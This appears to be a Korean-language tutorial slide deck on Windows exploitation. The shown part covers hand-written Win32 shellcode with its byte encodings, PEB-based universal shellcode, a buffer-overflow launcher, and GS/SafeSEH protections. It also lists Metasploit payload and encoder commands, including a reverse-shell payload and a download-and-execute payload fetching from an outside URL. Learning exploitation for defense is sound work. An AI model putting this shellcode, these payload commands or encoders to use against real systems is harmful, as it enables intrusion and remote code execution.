Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah : http://www.rekcah.co.kr
Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format String Bug 1-3. Integer OverFlow 2. Classic Technique Review 2-1. Writing RET Based Buffer OverFlow Exploits 2-1-1. Direct-RET 2-1-2. Trampoline 2-1-3. Real Application Attack(A-PDF All to MP3)
Table Of Contents 2/7 3. Win32 ShellCode 3-1. Making Win32 ShellCode 3-2. Win32 ShellCode Unicode Problem 3-3. Making Universal ShellCode 3-4. Using Metasploit Payload and Encoder 4. About Defence Technique 4-1. GS(Stack Guard) 4-2. SafeSEH(SEH Handler Validation Check) 4-3. DEP(Data Execution Prevension) 4-4. ASLR(Address Space Layout Randomization) 4-5. SEHOP(Structured Error Handling Overwrite Protection)
Table Of Contents 3/7 5. SEH(Structured Error Handling) 5-1. SEH(Structured Error Handling)? 5-2. Debugging SEH Chain 5-2-1. Using OllyDbg 5-2-2. Using WinDbg 5-3. Debugging Stack View On The SEH Chain 5-3-1. Build Visual Studio 6.0(SEH3) 5-3-2. Build Visual Studio 2005(SEH4) 6. Writing SEH Based Buffer OverFlow Exploits 6-1. SEH Handler OverWrite 6-1-1. Debugging GS Option Enable 6-1-2. Check SafeSEH 6-1-3. Writing Exploit 6-2. Real Application Attack(MP3 Cd Converter)
Table Of Contents 4/7 7. RTL(Return To Library) 7-1. Application Test by DEP Policy Enable 7-2. RTL(Return To Library) 7-3. Chining RTL 7-4. Problem Of RTL?
Table Of Contents 5/7 8. ROP(Return Oriented Programming) 8-1. ROP(Return Oriented Programming)? 8-2. Gadjet 8-3. Weapon 8-3-1. API Chain 8-3-2. Function Parameter 8-3-3. Weapon Test by DEP Policy(OptOut, AlwaysOn) 8-4. Flowing Going To ROP 8-4-1. RET Based 8-4-2. SEH Based 8-5. ROP Based Exploit Composition 8-5-1. StackPivot 8-5-2. ROP Chain(General-purpose Registers or Stack?) 8-6. Training ROP Based Exploit by POC Code 8-7. Universal ROP Exploit 8-8. Using mona.py Plug-in 8-9. RET Based ROP BlazeDVD DEP(OptOut) 8-10. SEH Based ROP WireShark DEP(AlwaysOn)
Table Of Contents 6/7 9. Heap 9-1. About Heap 9-2. Debugging Heap 10. Heap Spray Part1 Basic Scripting 10-1. Heap Spray 10-2. Debugging String Allocation by JavaScript 10-2-1. Basic String Allocation 10-2-2. String Allocation by Unescape() 10-3. Heap Spray Memory Layout 10-3-1. Desired Heap Spray Memory Layout 10-3-2. Heap Spray Script by Exploit-DB(IE6) 10-3-3. Heap Spray Script by Exploit-DB(IE7) 10-4. Reliability Pointer Verification by Heap Spray Code(IE6 and IE7) 10-5. Exploit Heap Spray RSP MP3 Player(OCX ActiveX BOF) 10-6. Non-Browser Heap Spray 10-6-1. Adobe PDF Reader JavaScript 10-6-2. Adobe Flash Player Action Script 10-6-3. MS Office VBA
Table Of Contents 7/7 11. Heap Spray Part2 : ROP Heap Spray 11-1. Internet Explorer 8 Problem 11-2. ByPass DEP by Heap Spray Composition 11-2-1. ROP Heap Spray Memory Layout 11-2-2. Flowing Going To ROP Chain 11-3. Converting Exploit Code RSP3 MP3 Player 11-4. [ETC] Corean Team FF/IE8/IE9/IE10 Heap Spray Script 12. ByPass Defence Technique of Windows 7 12-1. ASLR(Address Space Layout Randomization) 12-1-1. Debugging ASLR 12-1-2. ByPass ASLR with DEP - BlazeDVD 12-2. SEHOP(Structured Error Handling Overwrite Protection) 12-2-1. Debugging SEHOP Enable 12-2-2. Execution Condition by _except_handler3() 12-2-3. ByPass SEHOP AudioTran SEH Scope Table Overwrite
Introduction
0-1. Introduction u 서론 본문서는윈도우즈환경의기본적인버퍼오버플로우취약점부터현재까지널리알려진다양한취약점을예제와프로그램을통해서지식을공유하기위한목적으로작성하였습니다. 문서는 Stack 을공격하기위한기법에대한내용으로총 6 개로작성되었습니다. 문제가되는부분이있는경우메일을통해연락주시면감사하겠습니다.
0-2. Testing Environment u Windows XP OS : Windows XP Professional K Service Pack 3 Compiler 1 : Microsoft Visual Studio 6.0 Compiler 2 : Microsoft Visual Studio 2005 u Windows 7 OS : Windows 7 SP1 Ultimate K 32bit Compiler : Microsoft Visual Studio 2010 u Kali Linux OS : Kali Linux 1.0.7 32bit
0-2. Testing Environment u Microsoft Visual Studio Microsoft Visual Studio 6.0 Microsoft Visual Studio 2005 Microsoft Visual Studio 2010 u Script Language PyThon 2.7, JavaScript, VB Script, Action Script u Debugger OllyDbg, WinDbg, Immunity Debugger, IDA u Tools PE View, Depency Walker, Cygwin, IE Collection
Win32 ShellCode
3-1. Making Win32 ShellCode u 쉘코드를만들기위한방법 Visual Studio 의 Debugging 모드를활용 어셈블리어또는인라인어셈블리어로직접작성
3-1. Making Win32 ShellCode 쉘코드로만들코드와실행결과
3-1. Making Win32 ShellCode 소스코드에 BreakPoint(F9) 설정 -> 디버깅시작 (F5) -> 우클릭후디스어셈블리로이동
3-1. Making Win32 ShellCode C 소스코드를포함한불필요한부분을제외하고어셈블리코드만추출
3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[00402004h] // WinExec() push 0 // Arg1 : 0 call dword ptr ds:[00402000h] // ExitProcess()
3-1. Making Win32 ShellCode kenel32.dll 의 WinExec 함수의주소 0x7C800000(Image Base) + 0x000623AD(RVA) = 0x7C8623AD
3-1. Making Win32 ShellCode kenel32.dll 의 ExitProcess 함수의주소 0x7C800000(Image Base) + 0x0001CAFA(RVA) = 0x7C81CAFA
3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[00402004h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 call dword ptr ds:[00402000h] // ExitProcess() mov eax, 0x7c81cafa call eax
3-1. Making Win32 ShellCode
3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[00402004h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 call dword ptr ds:[00402000h] // ExitProcess() mov eax, 0x7c81cafa call eax
3-1. Making Win32 ShellCode push ebp // Function Prologue mov ebp, esp sub esp, 8 // Local Varible Area xor eax, eax // Zero Initilizing xor ecx, ecx mov cl, 2 lea edi, [esp] rep stos dword ptr [edi] mov byte ptr [ebp-8], 63h // calc mov byte ptr [ebp-7], 61h mov byte ptr [ebp-6], 6Ch mov byte ptr [ebp-5], 63h mov byte ptr [ebp-4], 0 push 5 // Arg2 : SW_SHOW lea eax, [ebp-8] push eax // Arg1 : calc Address call dword ptr ds:[00402004h] // WinExec() mov eax, 0x7c8623ad call eax push 0 // Arg1 : 0 xor eax, eax push eax call dword ptr ds:[00402000h] // ExitProcess() mov eax, 0x7c81cafa call eax
3-1. Making Win32 ShellCode
3-1. Making Win32 ShellCode 디버깅 -> 디스어셈블리이동 -> 코드바이트표시후기계어코드만추출
3-1. Making Win32 ShellCode push ebp mov ebp, esp sub esp, 8 xor eax, eax xor ecx, ecx mov cl, 2 lea edi, [esp] rep stos dword ptr [edi] \x55 \x8b\xec \x83\xec\x08 \x33\xc0 \x33\xc9 \xb1\x02 \x8d\x3c\x24 \xf3\xab mov mov mov mov byte ptr [ebp-8], 63h byte ptr [ebp-7], 61h byte ptr [ebp-6], 6Ch byte ptr [ebp-5], 63h \xc6\x45\xf8\x63 \xc6\x45\xf9\x61 \xc6\x45\xfa\x6c \xc6\x45\xfb\x63 push 5 lea eax, [ebp-8] push eax \x6a\x05 \x8d\x45\xf8 \x50 mov call xor push mov call eax, 0x7c8623ad eax eax, eax eax eax, 0x7c81cafa eax \xb8\xad\x23\x86\x7c \xff\xd0 \x33\xc0 \x50 \xb8\xfa\xca\x81\x7c \xff\xd0
3-1. Making Win32 ShellCode #include <windows.h> char shellcode[] = [ 작성한쉘코드입력지점 ] int main(int argc, char **argv) { int *code; code = (int *)shellcode; asm { jmp code; } return 0; } 쉘코드가제대로동작하는지테스트하기위한코드
3-1. Making Win32 ShellCode
3-2. Win32 ShellCode Unicode Problem u Unicode Problem 데이터 ( 여기서는쉘코드 ) 가내부적으로사용될때대문자에서소문자로변할수도, 아스키코드와유니코드간에변환이일어나기도함 아스키로입력된데이터 0x61( a ) 은유니코드 0x0061 로변환되며공격코드를사용할수없게됨 아스키로입력된데이터가유니코드로변환될때유니코드로표현할수없는문자는 0x003F 로대체 u Unicode 와호환가능한쉘코드 ASCII 와같은역할을하는코드를찾아그곳으로점프 새로운유니코드호환쉘코드를작성 디코더를이용 cp949 Unicode Table http://unicode.org/public/mappings/vendors/micsft/windows/cp949.txt
3-2. Win32 ShellCode Unicode Problem #include <stdio.h> #include <process.h> #include <windows.h> char shellcode[] = "\x55" // push ebp "\x8b\xec" // mov ebp, esp "\x83\xec\x08" // sub esp, 8 "\x33\xc0" // xoreax, eax "\x33\xc9" // xorecx, ecx "\xb1\x02" // mov cl, 2 "\x8d\x3c\x24" // lea edi, [esp] "\xf3\xab" // rep stos dword ptr [edi] "\xc6\x45\xf8\x63" // byte ptr [ebp-8], 63h "\xc6\x45\xf9\x61" // byte ptr [ebp-7], 61h "\xc6\x45\xfa\x6c" // byte ptr [ebp-6], 6Ch "\xc6\x45\xfb\x63" // byte ptr [ebp-5], 63h "\x6a\x05" // push 5 "\x8d\x45\xf8" // lea eax, [ebp-8] "\x50" // push eax "\xb8\xad\x23\x86\x7c // mov eax, 0x7c8623ad "\xff\xd0" // calleax "\x33\xc0" // xoreax, eax "\x50" // push eax "\xb8\xfa\xca\x81\x7c // mov eax, 0x7c81cafa "\xff\xd0" // call eax ; 3.1 에서작성한쉘코드
3-2. Win32 ShellCode Unicode Problem #include <stdio.h> #include <windows.h> int main(int argc, char **argv) { char buffer[120]; int ebp = atoi(argv[1]); memset(buffer, 0x90, sizeof(buffer); memcpy(buffer+30, shellcode, strlen(shellcode); } *(long *)&buffer[ebp] = 0x41414141; *(long *)&buffer[ebp+4] = 0x0013FF14; execl( bof_vulne.exe, bof_vulne.exe, buffer, 0); return 0; // SFP 4 Byte OverWrite With Debugging // Return Address OverWrite For ShellCode // Exploit bof_vuln.exe cmd 의인자로쉘코드를주입하는형태의 Exploit
3-2. Win32 ShellCode Unicode Problem Unicode 문제에의해 3F 로대체된값확인 \x55\x8b\xec\x83\xec\x08\x33 \xc0\x33 // 0x3F \xc9\xb1\x02 \x8d\x3c // 0x3F \x24\xf3\xab \xc6\x45 \xf8\x63 // 0x3F \xc6\x45 \xf9\x61 // 0x3F \xc6\x45 \xfa\x6c // 0x3F \xc6\x45 \xfb\x63 // 0x3F \x6a\x05\x8d\x45 \xf8\x50 // 0x3F \xb8\xad\x23 \x86\x7c // 0x3F \xff \xd0\x33 // 0x3F \xc0\x50\xb8\xfa \xca\x81 // 0x3F \x7c\xff \xd0 // 0x3F
3-2. Win32 ShellCode Unicode Problem cmd 의인자로입력될시 0x3F 로변하지않게쉘코드다시작성
3-2. Win32 ShellCode Unicode Problem char shellcode[] = "\x33\xc0" // xor eax, eax "\x50" // push eax "\x68\x63\x61\x6c\x63" // push 0x636c6163 "\x8b\xc4" // mov eax, esp "\x6a\x05" // push 5 "\x50" // push eax "\x68\xfa\xca\x71\x7c" // push 0x7c71cafa "\x80\x44\x24\x02\x10" // add byte ptr [esp+2], 10h "\x68\x7d\x23\x76\x7c" // push 0x7c76237d "\x80\x04\x24\x30" // add byte ptr [esp], 30h "\x80\x44\x24\x02\x10" // add byte ptr [esp+2], 10h "\xc3" // retn ;
3-2. Win32 ShellCode Unicode Problem 쉘코드테스트
3-2. Win32 ShellCode Unicode Problem cmd 의인자로넘길경우에도 0x3F 로변경되지않게됨
3-3. Making Universal ShellCode u Universal ShellCode 앞에서작성한기본쉘코드는그환경과동일한환경에서만동작 시스템마다 DLL 의버전이다르고 (XP SP2, XP SP3, Win 7,...), 그안에실제함수의주소도버전에따라달라지므로결과적으로같은 DLL 버전을사용하지않는환경에서는쉘코드가제대로동작하지않는상황이발생 u Universal ShellCode 를제작하는방법 kernel32.dll 의 LoadLibrary(), GetProcAddress() API 를동적으로구할수만있으면다른 DLL 을로드하고해당 DLL 의함수의주소를동적으로구할수있게됨 kernel32.dll 에서함수의주소를동적으로구하기위한방법 - PEB(Process Environment Block) 의 LDR 을이용하는방법 - TOP SEH 를이용하는방법
3-3. Making Universal ShellCode LDR 구조체로로드된모듈의정보를찾는과정
3-3. Making Universal ShellCode kernel32.dll 에서함수의주소를찾는과정
3-3. Making Universal ShellCode SEH Chain
3-3. Making Universal ShellCode SEH3 Layout
3-3. Making Universal ShellCode #include <windows.h> declspec(naked) void main() { asm { // [esp]~[esp+0x2f] : NamePointer // [esp+0x30]~[esp+0x5f] : AddressPointer // [esp+0x60]~[esp+0x9f] : String Data // [esp+0x100] : Function Count // [esp+0x104] : Number of Function sub esp, 0x108; mov ecx, 0x41; mov eax, 0; lea edi, dword ptr [esp]; rep stosd; mov dword ptr [esp+0x104], 1; // Number of Function PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode // "kernel32.dll" mov dword ptr [esp+0x60], 0x6e72656b; mov dword ptr [esp+0x64], 0x32336c65; mov dword ptr [esp+0x68], 0x6c6c642e; // WinExec mov dword ptr [esp+0x70], 0x456e6957; mov dword ptr [esp+0x74], 0x636578; // calc.exe mov dword ptr [esp+0x78], 0x636c6163; mov dword ptr [esp+0x7c], 0x6578652e; // ExitProcess mov dword ptr [esp+0x84], 0x74697845; mov dword ptr [esp+0x88], 0x636f7250; mov dword ptr [esp+0x8c], 0x737365; // Function Name Arrary lea eax, dword ptr [esp+0x70]; mov dword ptr [esp], eax; lea eax, dword ptr [esp+0x84]; mov dword ptr [esp+4], eax; PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode START: // PEB를통해kernel32.dll의주소를구함 mov edx, dword ptr fs:[0x30]; // _TEB._PEB mov edx, dword ptr [edx+0xc]; // _PEB._LDR_DATA_TABLE mov edx, dword ptr [edx+0x14]; // _LDR_DATA_TABLE.InMemoryModuleList MODULE_GETNAME: mov esi, dword ptr [edx+0x28]; lea edi, dword ptr [esp+0x60]; // _LDR_DATA_TABLE_ENTRY // "kernel32.dll" MODULE_LOOP1: mov al, byte ptr [esi]; mov bl, byte ptr [edi]; cmp al, 0; jne MODULE_LOOP2; cmp bl, 0; jne MODULE_LOOP2; jmp MODULE_FINISH; PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode MODULE_LOOP2: add esi, 2; add edi, 1; cmp al, bl; je MODULE_LOOP1; jmp MODULE_LDR_NEXT; MODULE_LDR_NEXT: mov edx, dword ptr [edx]; jmp MODULE_GETNAME; MODULE_FINISH: // kernel32.dll을통해특정함수의주소를구함 mov ebp, dword ptr [edx+0x10]; // Get Module(kernel32.dll) Image Base mov edx, dword ptr [ebp+0x3c]; // IMAGE_NT_HEADER_OFFSET 값 // mov eax, dword ptr [ebp+edx+0x78]; // EXPORT_TABLE RVA 값 // mov ebx, dword ptr [ebp+edx+0x7c]; // EXPORT_TABLE SIZE 값 mov edx, dword ptr [ebp+edx+0x78]; // EXPORT_TABLE RVA 값 add edx, ebp; // EXPORT_TABLE VA mov ecx, dword ptr [edx+0x18]; // EDT.Export NumberOf Function( 함수의개수 ) mov ebx, dword ptr [edx+0x20]; // EDT.Export Name Pointer Table add ebx, ebp; // ENT(Export Name Pointer Table) Address PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode FUNC_GETNAME: dec ecx; mov esi, dword ptr [ebx+ecx*4]; add esi, ebp; mov edi, dword ptr [esp+0x100]; mov edi, dword ptr [esp+edi*4]; // Function Name Pointer RVA // Function Name Pointer VA // Function Array {WinExec, ExitProcess} FUNC_LOOP1: mov al, byte ptr [esi]; mov ah, byte ptr [edi]; cmp al, 0; jne FUNC_LOOP2; cmp ah, 0; jne FUNC_LOOP2; jmp FUNC_FINISH; FUNC_LOOP2: inc esi; inc edi; cmp al, ah; je FUNC_LOOP1; jmp FUNC_GETNAME; PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode UNC_FINISH: mov ebx, dword ptr [edx+0x24]; add ebx, ebp; mov cx, word ptr [ebx+ecx*2]; // Ordinal Table RVA // Ordinal Table VA // name_index -> odrdinal 값확인 mov ebx, dword ptr [edx+0x1c]; // Export Address Table RVA add ebx, ebp; // Export Address Table VA mov eax, dword ptr [ebx+ecx*4]; // Export Address Table[Ordinal*4] 로함수 RVA 확인 add eax, ebp; // WinExec 함수VA COPY_FUNCADDR: mov ecx, dword ptr [esp+0x100]; mov dword ptr [esp+ecx*4+0x30], eax; CHECK_FUNC: mov ecx, dword ptr [esp+0x100]; mov edx, dword ptr [esp+0x104]; cmp ecx, edx; je FUNC_CALL; inc ecx; mov dword ptr [esp+0x100], ecx; jmp START; PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode FUNC_CALL: // WinExec Function CALL push 5; lea ebx, dword ptr [esp+0x7c]; push ebx; lea eax, dword ptr [esp+0x38]; mov eax, dword ptr [eax]; call eax; // SW_SHOW // "calc.exe" } } // ExitProcess Function ALL push 1; lea eax, dword ptr [esp+0x34]; mov eax, dword ptr [eax+0x4]; call eax; PEB 를이용하여 Universal ShellCode 작성
3-3. Making Universal ShellCode Windows XP Service Pack 3 에서동작확인
3-3. Making Universal ShellCode Windows 7 Service Pack 1 에서동작확인
3-4. Using Metasploit Payload and Encoder u msfpayload 메인명령 msfpayload h // Help Banner msfpayload l // List Available Payloads u msfpayload 모듈 windows/exec // windows 명령어실행 windows/shell_bind_tcp // TCP Bind Shell windows/shell_reverse_tcp // TCP Reverse Shell windows/download_exec // HTTP(S)/FTP 파일다운로드및실행 windows/meterpreter/reverse_tcp // reverse_tcp 미터프리터 windows/x64/exec // Windows x64 환경명령어실행...
3-4. Using Metasploit Payload and Encoder u msfpayload 명령예시 (Kali Linux 기준 ) msfpayload windows/exec S - 페이로드에적용가능한옵션출력 msfpayload windows/exec CMD=calc.exe C - calc.exe 를실행시키는페이로드를생성하여 C 포맷의쉘코드로출력 msfpayload windows/exec CMD=notepad.exe X > payload.exe - notepad.exe 를실행시키는페이로드를생성하여윈도우실행파일 (payload.exe) 로저장 msfpayload windows/exec CMD=notepad.exe R > payload.raw - 위와동일하나로우데이터포맷으로저장하며, 추후 MSFencode 에서사용 msfpayload windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=9000 N - 192.168.0.1 에 9000 포트를연결시킬 shell_reverse_tcp 페이로드를생성하여 PyThon 포맷의쉘코드로출력
3-4. Using Metasploit Payload and Encoder root@kali:~# msfpayload windows/exec CMD=calc.exe C /* * windows/exec - 200 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00" "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63" "\x2e\x65\x78\x65\x00"; root@kali:~# calc.exe 명령어실행페이로드를 C 포맷의쉘코드로출력한결과
3-4. Using Metasploit Payload and Encoder 페이로드로생성한쉘코드실행결과
3-4. Using Metasploit Payload and Encoder u msfencode 메인명령 msfencode h // Help Banner msfencode l // List Available Encoders msfencode e [opt] // The Encoder Use msfencode b [opt] // 제외할문자설정 (ex: \x00\xff ) msfencode t [opt] // 출력할포맷지정 // (c, elf, exe, java, js_le, js_be, perl, raw, ruby,...)... u msfencode 모듈 x86/shikata_ga_nai // Polymorphic XOR Addtive Feeback Encoder x86/countdown // Single-byte XOR Countdown Encoder x86/alpha_mixed // Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper // Alpha2 Alphanumeric Uppercase Encoder x86/unicode_mixed // Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper // Alpha2 Alphanumeric Unicode Uppercase Encoder
3-4. Using Metasploit Payload and Encoder u msfencode 명령예시 (Kali Linux 기준 ) msfencode I payload.raw o encoded_payload.exe e x86/shikata_ga_nai c 5 t exe - payload.raw 를 shikata_ga_nai 로 5 회인코딩후파일명을 encoded_payload.exe 로저장 msfpayload windows/exec CMD=calc.exe R msfencode b \x00\xff e x86/shikata_ga_nai t c - 페이로드로생성된로우데이터를 \x00 \xff 문자를제외하게끔 x86/shikata_ga_nai 로인코딩하고 C 포맷의쉘코드로출력 msfpayload windows/download_exec_https EXE=payload.exe URL=http://rekcah.co.kr/calc.exe msfencode e x86/shikata_ga_nai t raw msfencode e x86/alpha_mixed t c - 다중인코딩페이로드생성후 C 포맷의쉘코드로출력 msfpayload windows/meterpreter/bind_tcp LPORT=443 R msfencode e x86/countdown c 5 -t raw msfencode e x86/shikata_ga_nai c 5 t exe o multi-encoded_payload.exe - 다중인코딩페이로드생성후윈도우실행파일 (multi-encoded_payload.exe) 로저장 msfencode I payload.raw BufferRegister=ESI e x86/alpha_mixed t c - ESI 레지스터가쉘코드를가리키는문자숫자조합형쉘코드를생성하여 C 포맷출력
3-4. Using Metasploit Payload and Encoder root@kali:~# msfpayload windows/exec CMD=calc.exe R msfencode -e x86/shikata_ga_nai -t raw msfencode -e x86/alpha_mixed -t c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) [*] x86/alpha_mixed succeeded with size 516 (iteration=1) unsigned char buf[] = "\x89\xe1\xdb\xc6\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x68\x5a\x58\x4f\x6d\x6a\x6e\x4f\x30\x6f\x52\x6f\x69\x31\x68" "\x59\x31\x64\x71\x34\x68\x74\x32\x78\x44\x73\x4a\x69\x68\x31" "\x57\x43\x30\x31\x42\x70\x56\x77\x6d\x53\x4b\x58\x4b\x4c\x67" "\x73\x69\x6f\x43\x4c\x6c\x6d\x53\x64\x37\x73\x52\x4a\x4e\x58" "\x6a\x37\x79\x6b\x50\x6b\x39\x4b\x35\x4e\x77\x6e\x32\x7a\x39" "\x59\x53\x75\x52\x4b\x5a\x6f\x4b\x6d\x64\x4e\x46\x59\x6b\x4c" "\x4d\x46\x73\x73\x6c\x69\x34\x37\x79\x4a\x70\x4b\x69\x4e\x44" "\x70\x32\x71\x6e\x4a\x4b\x61\x6a\x61\x42\x77\x72\x52\x6d\x6d" "\x54\x42\x48\x79\x64\x4e\x4f\x4f\x66\x36\x68\x59\x44\x6f\x34" "\x30\x4c\x6b\x57\x68\x33\x47\x42\x4c\x32\x64\x70\x48\x31\x30" "\x69\x6b\x6a\x57\x71\x6d\x33\x75\x58\x39\x4a\x6b\x43\x4c\x6c" "\x49\x4c\x76\x34\x34\x75\x57\x6c\x6c\x55\x58\x45\x50\x4d\x6d" 다중인코딩페이로드출력결과
3-4. Using Metasploit Payload and Encoder "\x6c\x6f\x73\x68\x68\x39\x68\x4a\x4b\x48\x73\x70\x78\x31\x6e" "\x75\x68\x58\x72\x51\x45\x46\x39\x56\x35\x75\x56\x58\x36\x73" "\x37\x4d\x4b\x6d\x6d\x6b\x4a\x55\x54\x4f\x77\x6e\x6d\x5a\x57" "\x49\x48\x43\x45\x71\x36\x43\x48\x34\x67\x6d\x53\x55\x4e\x63" "\x74\x67\x62\x48\x4d\x4d\x48\x70\x7a\x7a\x50\x6b\x63\x56\x6c" "\x4b\x53\x30\x6b\x49\x63\x4b\x66\x4b\x6b\x72\x31\x49\x50\x58" "\x4a\x6a\x34\x47\x55\x6f\x74\x6b\x4f\x30\x5a\x4c\x52\x6b\x63" "\x43\x5a\x64\x6b\x43\x7a\x38\x64\x4f\x5a\x50\x43\x48\x55\x4f" "\x39\x50\x52\x51\x56\x5a\x37\x74\x48\x44\x79\x4a\x6d\x48\x31" "\x35\x33\x6d\x6f\x76\x70\x4f\x50\x59\x6f\x4d\x42\x4e\x64\x6f" "\x39\x6f\x6d\x65\x6d\x4c\x57\x54\x42\x59\x5a\x34\x39\x5a\x6f" "\x4b\x54\x4b\x4c\x62\x78\x33\x4d\x6c\x55\x43\x6e\x4d\x6f\x63" "\x69\x44\x71\x32\x56\x46\x61\x6c\x79\x32\x4c\x7a\x78\x6d\x77" "\x49\x43\x6c\x6a\x51\x6c\x6c\x50\x6b\x78\x75\x31\x4c\x34\x65" "\x34\x6e\x5a\x38\x53\x6e\x5a\x33\x52\x4c\x6c\x65\x4b\x6c\x62" "\x36\x56\x6c\x66\x32\x59\x6c\x36\x32\x37\x79\x37\x6e\x6e\x5a" "\x4c\x4f\x63\x53\x46\x6f\x76\x4f\x6e\x50\x38\x50\x36\x50\x52" "\x5a\x4e\x33\x38\x37\x49\x32\x59\x76\x75\x6a\x73\x62\x77\x33" "\x4c\x4c\x73\x72\x41\x41"; root@kali:~# 다중인코딩페이로드출력결과
3-4. Using Metasploit Payload and Encoder 페이로드로생성한쉘코드실행결과
About Defence Technique
4-1. GS(Stack Guard) u Security Cookie Windows 상의 Stack Protection Visual Studio 7.0(2003) 버전이후 Default Option 으로적용 Stack 에할당된 Buffer 영역과 SFP(Saved Frame Pointer) 영역사이에랜덤한쿠키를추가하고, 이후체크루틴에의해값의변조유무를판단하여버퍼오버플로우를감지 ( 쿠키관련추가코드생성 )
4-1. GS(Stack Guard) Visual Studio 의컴파일속성에서 GS 옵션설정
4-1. GS(Stack Guard) void vulnerable(const char *str) { buffer[10]; strcpy(buffer, str); } GS Option Disabled // Vulnerable function // Buffer OverRun!! cookie = rand(); void vulnerable(const char *str) // Vulnerable function { int security_cookie = cookie; buffer[10]; strcpy(buffer, str); // Buffer OverRun!! if ( security_cookie!= cookie ) TerminateProcess(GetCurrentProcess()); } GS Option Enabled
4-1. GS(Stack Guard) Buffer (Local Variable Area) Buffer (Local Variable Area) Security Cookie Saved Frame Pointer(SFP) Saved Frame Pointer(SFP) Return Address(RET) Return Address(RET) GS 옵션미적용 Stack Frame GS 옵션적용 Stack Frame
4-1. GS(Stack Guard) #include <stdio.h> #include <string.h> int main(int artc, char **argv) { char buffer[10]; strcpy(buffer, artv[1]); return 0; } GS Option 으로컴파일될경우의코드확인을위한예제
4-1. GS(Stack Guard)
4-2. SafeSEH(SEH Handler Validation Check) u SEH Handler Validation Check SEH 기반 Exploit 을보호하기위한메커니즘 Visual Studio 7(2003) 버전이후 Default 옵션으로적용 (/SAFESEH) EXCEPTION_REGISTRATION_RECORD 의예외처리핸들러가조작되어있을경우핸들러를호출하지않음 컴파일시링커에의해안전한예외처리목록을생성하며, 후에예외처리핸들러가덮어씌여질경우예외를탐지하여프로그램을종료
4-2. SafeSEH(SEH Handler Validation Check) Visual Studio 의링커속성에서 SAFESEH 옵션설정
4-2. SafeSEH(SEH Handler Validation Check) OllyDbg 의 SafeSEH Moduler Scanner Plugin (Immunity Debugger 의 mona 플러그인으로도확인가능 )
